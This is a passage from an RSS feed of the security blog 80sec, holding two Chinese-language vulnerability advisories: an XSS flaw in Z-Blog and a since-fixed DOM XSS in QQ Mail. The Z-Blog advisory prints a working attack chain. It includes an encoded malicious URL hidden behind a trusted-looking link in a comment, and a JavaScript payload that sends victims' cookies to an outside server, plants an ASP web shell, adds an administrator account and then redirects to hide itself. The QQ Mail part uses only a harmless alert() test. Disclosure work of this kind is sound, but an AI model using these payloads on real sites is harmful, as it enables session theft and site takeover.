		<guid isPermaLink="false">http://www.80sec.com/?p=23</guid>
		<description><![CDATA[漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛，官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨，前台功能简洁，后台功能强大，这为它的产品安全带来很大的优势，但是80sec在产品中发现一个严重的跨站脚本攻击漏洞，加上产品设计上的一些问题可能带来严重的后果。

漏洞厂商：http://www.rainbowsoft.org/
漏洞解析：在FUNCTION/c_urlredirect.asp中，程序对提交的url参数做如下处理

strUrl=URLDecodeForAntiSpam(Request.QueryString("url"))

	其中URLDecodeForAntiSpam是防止垃圾连接的解码函数，其函数处理如下

Function URLDecodeForAntiSpam(strUrl)
	Dim i,s
	For i =1 To Len(strUrl) Step 2
		s=s &#038; Mid(strUrl,i,1)
	Next
	URLDecodeForAntiSpam=s
End Function

	在做如上处理之后程序将在c_urlredirect.asp输出url参数

...
	&#60;meta http-equiv="refresh" content="0;URL=&#8220;/>
&#8230;

	精心构造url参数将能构造一个url类型的非持久xss如下：
	http://127.0.0.1/Z-Blog18/FUNCTION/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx%3Ax%22x%3Ex%3Cxsxcxrxixpxtx+xsxrxcx%3Dxhxtxtxpx%3Ax%2Fx%2Fx1&#215;2x7x%2Ex0x%2Ex0x%2Ex1x%2Fx1x%2Exjxsx%3Ex%3Cx%2Fxsxcxrxixpxtx%3Ex
	上述url访问之后将引入127.0.0.1/1.js执行，其中可以写任意js代码。
而z-blog的所有安全设计全部用来抵御前台的攻击，对于后台基本没有任何限制，加上antispam功能对用户提交的url连接类似于加密处理，所以很容易就可以诱惑别人访问上述的xss攻击url，可以发表评论如下：

	看这个站，有新东西？
[URL=http://www.foo.com/function/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx%3Ax%22x%3Ex%3Cxsxcxrxixpxtx+xsxrxcx%3Dxhxtxtxpx%3Ax%2Fx%2Fx1x2x7x%2Ex0x%2Ex0x%2Ex1x%2Fx1x%2Exjxsx%3Ex%3Cx%2Fxsxcxrxixpxtx%3Ex]http://www.80sec.com[/URL]

	用户看到的是http://www.80sec.com这个信任的站点，而一旦点击将在www.foo.com域执行恶意用户指定的js，在该js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向，整个过程很难发现攻击的意图，80sec提供js如下：

xmlhttp=poster();
cookie=document.cookie;
login=cookie.indexOf('password')==-1?0:1;
tolocation='http://www.80sec.com/';
//get cookie
x=new Image();
x.src="http://www.80sec.com/c.php?c="+escape(document.cookie);
//get a shell
data="txaContent=&#8220;;
postmydata(&#8221;http://www.0&#215;37.com/cmd.asp?act=SiteFilePst&#038;path=%2E%2FUPLOAD%2Findex%2Easp&#038;opath=&#8221;,data);
//add a user	data=&#8221;edtID=0&#038;edtLevel=2&#038;edtName=xss2root&#038;edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&#038;edtPassWordRe=xss2root&#038;edtEmail=null@null.com&#038;edtHomePage=&#038;edtAlias=&#8221;;
postmydata(&#8221;http://www.0&#215;37.com/cmd.asp?act=UserCrt&#8221;,data);
//fool the user
window.location=tolocation;
function poster(){
    var request = false;
    if(window.XMLHttpRequest) {
      request = new XMLHttpRequest();
      if(request.overrideMimeType) {
     [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：Z-Blog是一款基于Asp平台的Blog博客(网志)程序，支持Wap，支持Firefox，Oprea等浏览器，在国内使用非常广泛，官方主页在http://www.rainbowsoft.org/。Z-blog代码严谨，前台功能简洁，后台功能强大，这为它的产品安全带来很大的优势，但是80sec在产品中发现一个严重的跨站脚本攻击漏洞，加上产品设计上的一些问题可能带来严重的后果。<br />
<span id="more-23"></span><br />
漏洞厂商：http://www.rainbowsoft.org/</p>
<p>漏洞解析：在FUNCTION/c_urlredirect.asp中，程序对提交的url参数做如下处理</p>
<p><code></p>
<p>strUrl=URLDecodeForAntiSpam(Request.QueryString("url"))</p>
<p></code></p>
<p>	其中URLDecodeForAntiSpam是防止垃圾连接的解码函数，其函数处理如下</p>
<p><code><br />
Function URLDecodeForAntiSpam(strUrl)</p>
<p>	Dim i,s<br />
	For i =1 To Len(strUrl) Step 2<br />
		s=s &#038; Mid(strUrl,i,1)<br />
	Next<br />
	URLDecodeForAntiSpam=s</p>
<p>End Function<br />
</code></p>
<p>	在做如上处理之后程序将在c_urlredirect.asp输出url参数</p>
<p><code><br />
...<br />
	&#60;meta http-equiv="refresh" content="0;URL=<%Response.Write strUrl%>&#8220;/><br />
&#8230;<br />
</code></p>
<p>	精心构造url参数将能构造一个url类型的非持久xss如下：</p>
<p>	http://127.0.0.1/Z-Blog18/FUNCTION/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx%3Ax%22x%3Ex%3Cxsxcxrxixpxtx+xsxrxcx%3Dxhxtxtxpx%3Ax%2Fx%2Fx1&#215;2x7x%2Ex0x%2Ex0x%2Ex1x%2Fx1x%2Exjxsx%3Ex%3Cx%2Fxsxcxrxixpxtx%3Ex</p>
<p>	上述url访问之后将引入127.0.0.1/1.js执行，其中可以写任意js代码。</p>
<p>而z-blog的所有安全设计全部用来抵御前台的攻击，对于后台基本没有任何限制，加上antispam功能对用户提交的url连接类似于加密处理，所以很容易就可以诱惑别人访问上述的xss攻击url，可以发表评论如下：<br />
<code><br />
	看这个站，有新东西？<br />
[URL=http://www.foo.com/function/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx%3Ax%22x%3Ex%3Cxsxcxrxixpxtx+xsxrxcx%3Dxhxtxtxpx%3Ax%2Fx%2Fx1x2x7x%2Ex0x%2Ex0x%2Ex1x%2Fx1x%2Exjxsx%3Ex%3Cx%2Fxsxcxrxixpxtx%3Ex]http://www.80sec.com[/URL]</p>
<p></code><br />
	用户看到的是http://www.80sec.com这个信任的站点，而一旦点击将在www.foo.com域执行恶意用户指定的js，在该js里可以写shell，添加用户，偷取COOKIE然后模拟出真正的转向，整个过程很难发现攻击的意图，80sec提供js如下：</p>
<p><code><br />
xmlhttp=poster();<br />
cookie=document.cookie;<br />
login=cookie.indexOf('password')==-1?0:1;<br />
tolocation='http://www.80sec.com/';</p>
<p>//get cookie<br />
x=new Image();<br />
x.src="http://www.80sec.com/c.php?c="+escape(document.cookie);</p>
<p>//get a shell<br />
data="txaContent=<%25execute(request(%22a%22))%25>&#8220;;<br />
postmydata(&#8221;http://www.0&#215;37.com/cmd.asp?act=SiteFilePst&#038;path=%2E%2FUPLOAD%2Findex%2Easp&#038;opath=&#8221;,data);</p>
<p>//add a user	data=&#8221;edtID=0&#038;edtLevel=2&#038;edtName=xss2root&#038;edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&#038;edtPassWordRe=xss2root&#038;edtEmail=null@null.com&#038;edtHomePage=&#038;edtAlias=&#8221;;<br />
postmydata(&#8221;http://www.0&#215;37.com/cmd.asp?act=UserCrt&#8221;,data);</p>
<p>//fool the user<br />
window.location=tolocation;</p>
<p>function poster(){<br />
    var request = false;<br />
    if(window.XMLHttpRequest) {<br />
      request = new XMLHttpRequest();<br />
      if(request.overrideMimeType) {<br />
        request.overrideMimeType(&#8217;text/xml&#8217;);<br />
      }<br />
    } else if(window.ActiveXObject) {<br />
      var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];<br />
      for(var i=0; i<versions.length; i++) {<br />
        try {<br />
          request = new ActiveXObject(versions[i]);<br />
        } catch(e) {}<br />
      }<br />
    }<br />
    return request;<br />
}</p>
<p>function postmydata(action,data){<br />
    xmlhttp.open("POST", action, false);<br />
    xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');<br />
    xmlhttp.send(data);<br />
	return xmlhttp.responseText;<br />
}<br />
</code></p>
<p>漏洞状态：已经联系官方，请等待官方公告。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/zbog-xss.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>QQ Mail跨站脚本漏洞</title>
		<link>http://www.80sec.com/qqmail-xss.html</link>
		<comments>http://www.80sec.com/qqmail-xss.html#comments</comments>
		<pubDate>Mon, 07 Jul 2008 04:41:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[web应用程序安全]]></category>

		<guid isPermaLink="false">http://www.80sec.com/?p=22</guid>
		<description><![CDATA[漏洞说明：QQ Mail是Tencent公司提供的webmail服务，你可以使用你的QQ帐户来登陆使用Mail服务，具体的信息可以访问http://mail.qq.com/。但是80sec团队成员在QQ Mail里发现存在跨站脚本漏洞，恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份，或者使用ajax等技术读取用户的敏感信息。

漏洞成因：QQ Mail的Javascript Dom部分在处理邮件内容，对邮件内容字符串的处理分为str和code两个流程，通过组合的标签内容可以误导Javascript处理图片内容和文字链接进入str流程，将HTML编码字符串还原为HTML标签。
漏洞测试：（已经修复）
	发送如下内容即可引发XSS
	
	&#60;div>&#38;lt;img src="http://src=" onerror="alert(x111)"&#38;gt;&#60;/div>
	
漏洞解析：
	QQ Mail会自动解析邮件内容，发现匹配的链接将转换成HTML内容，由LinkMaker函数实现：

function LinkMaker( str ) {
	return str.replace( /(https?:\/\/[\w.]+[^ \f\n\r\t\v\"\\\&#60;\>\[\]\u2100-\uFFFF]*)&#124;([a-zA-Z_0-9.-]+@[a-zA-Z_0-9.-]+\.\w+)/ig, function( s, v1, v2 ) {
		if ( v2 )
			return [ '&#60;a href="mailto:', v2, '">', v2, '&#60;/a>' ].join( &#8220;&#8221; );
		else
			return [ '&#60;a href="', s, '">', s, '&#60;/a>' ].join( &#8220;&#8221; );
	} );

SwapImg函数处理邮件中IMG标签：

function SwapImg(id, ajustValue)
{
	var as = GelTags("img", S(id));
	for (var i = 0; [...]]]></description>
			<content:encoded><![CDATA[<p>漏洞说明：QQ Mail是Tencent公司提供的webmail服务，你可以使用你的QQ帐户来登陆使用Mail服务，具体的信息可以访问http://mail.qq.com/。但是80sec团队成员在QQ Mail里发现存在跨站脚本漏洞，恶意用户可以通过该漏洞在邮件里伪造登陆表单窃取目标用户的密码以及偷取Cookie以取得其他用户的身份，或者使用ajax等技术读取用户的敏感信息。<br />
<span id="more-22"></span><br />
漏洞成因：QQ Mail的Javascript Dom部分在处理邮件内容，对邮件内容字符串的处理分为str和code两个流程，通过组合的标签内容可以误导Javascript处理图片内容和文字链接进入str流程，将HTML编码字符串还原为HTML标签。</p>
<p>漏洞测试：（已经修复）</p>
<p>	发送如下内容即可引发XSS</p>
<p>	<code><br />
	&#60;div>&amp;lt;img src="http://src=" onerror="alert(x111)"&amp;gt;&#60;/div><br />
	</code></p>
<p>漏洞解析：</p>
<p>	QQ Mail会自动解析邮件内容，发现匹配的链接将转换成HTML内容，由LinkMaker函数实现：</p>
<p><code><br />
function LinkMaker( str ) {<br />
	return str.replace( /(https?:\/\/[\w.]+[^ \f\n\r\t\v\"\\\&#60;\>\[\]\u2100-\uFFFF]*)|([a-zA-Z_0-9.-]+@[a-zA-Z_0-9.-]+\.\w+)/ig, function( s, v1, v2 ) {<br />
		if ( v2 )<br />
			return [ '&#60;a href="mailto:', v2, '">', v2, '&#60;/a>' ].join( &#8220;&#8221; );<br />
		else<br />
			return [ '&#60;a href="', s, '">', s, '&#60;/a>' ].join( &#8220;&#8221; );<br />
	} );</p>
<p></code></p>
<p>SwapImg函数处理邮件中IMG标签：</p>
<p><code><br />
function SwapImg(id, ajustValue)<br />
{<br />
	var as = GelTags("img", S(id));<br />
	for (var i = 0; i &#60; as.length; i++)<br />
	{<br />
		if (as[i].src)<br />
		{<br />
			ZoomImgToBody(as[i], ajustValue);<br />
			as[i].onload = function()<br />
			{<br />
				ZoomImgToBody(this, ajustValue, true);<br />
			};<br />
		}<br />
	}<br />
}<br />
</code></p>
<p>进入str流程将会使用DOM中的innerText和textContent处理字符串，邮件中的HTML编码字符串转成HTML标签(&amp;lt;将转换成&#8221;&#60;&#8221;,&amp;gt;将转换成&#8221;>&#8221;),如下的测试：</p>
<p><code><br />
&#60;div id="contentDiv" class="body">&#60;div>&amp;nbsp;&#60;/div><br />
&#60;div>&amp;lt;img src="" onerror="alert(1);"&amp;gt;&#60;/div>&#60;/div><br />
&#60;script><br />
v=document.getElementById("contentDiv").innerText; //ie<br />
//v=document.getElementById("contentDiv").textContent; //FIREFOX<br />
alert(v)<br />
&#60;/script><br />
</code></p>
<p>漏洞状态：</p>
<p>	80sec于7.4号发现此漏洞<br />
	80sec于7.4号通知官方<br />
	Tencent于7.4号修复此漏洞<br />
	80sec于7.7号发布此漏洞公告</p>
<p>漏洞解决：</p>
<p>	QQ Mail已经修补漏洞，转义字符串中的&#8221;&#60;&#8221; ,&#8221;>&#8221;.</p>
<p>	修改js在http://res.mail.qq.com/zh_CN/htmledition20080626/js/all.js</p>
<p><code><br />
	var str = obj.nodeValue.replace(/&#60;/g,"&amp;lt;").replace(/>/g,"&amp;gt;"); //1993行<br />
</code></p>
<p>	建议程序员使用DOM中的元素的时候要注意安全问题，这些元素还是由用户输入中带来的，使用之前还是需要过滤。</p>
<p>感谢幻影dummy和luoluo提供和调试该漏洞。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.80sec.com/qqmail-xss.html/feed</wfw:commentRss>
		</item>
	</channel>
</rss>
